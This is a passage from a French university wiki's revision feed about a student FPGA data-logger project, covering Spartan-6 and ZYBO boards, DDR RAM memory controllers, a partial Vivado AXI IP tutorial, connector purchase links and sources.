*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27516</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27516"/>
				<updated>2016-02-22T09:17:30Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* LX9 MicroBoard */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
 C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27515</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27515"/>
				<updated>2016-02-22T09:16:57Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* LX9 MicroBoard */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
